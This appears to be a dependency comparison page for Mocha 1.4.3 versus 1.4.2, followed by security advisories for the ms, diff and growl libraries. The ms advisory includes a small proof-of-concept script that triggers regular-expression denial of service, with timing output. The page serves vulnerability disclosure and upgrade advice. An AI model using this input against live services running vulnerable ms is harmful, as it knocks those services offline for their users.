Mocha versions 1.4.3 and 1.4.2 represent incremental updates to a popular JavaScript test framework designed for simplicity and flexibility. Both versions share the same core philosophy of providing a fun testing experience. Diving into the dependencies, users of both versions benefit from consistent tools like diff for comparing output, jade for templating, debug for enhanced debugging, growl for system notifications, mkdirp for directory creation, and commander for command-line interface handling. These shared dependencies ensure a stable base for both versions.
The key difference lies in the addition of ms as a dependency in version 1.4.3. The ms library, at version 0.3.0, is a tiny utility for converting various time formats (e.g., '2 days', '1h') into milliseconds, suggesting an improvement or feature leveraging time durations within the testing framework itself.
For developers, the upgrade from 1.4.2 to 1.4.3 introduces potentially enhanced time-related functionality, which may be useful for fine-tuning test timeouts or creating time-sensitive test assertions. Given the shared dependencies, upgrading poses minimal risk. Developers using version 1.4.2 who don’t require time duration processing may not see immediate benefits, but staying up to date is generally recommended for potential bug fixes and future improvements. Both versions offer a solid foundation for testing JavaScript code, with 1.4.3 including the ms library that is very helpful for adding time-related features.
All the vulnerabilities related to the version 1.4.3 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.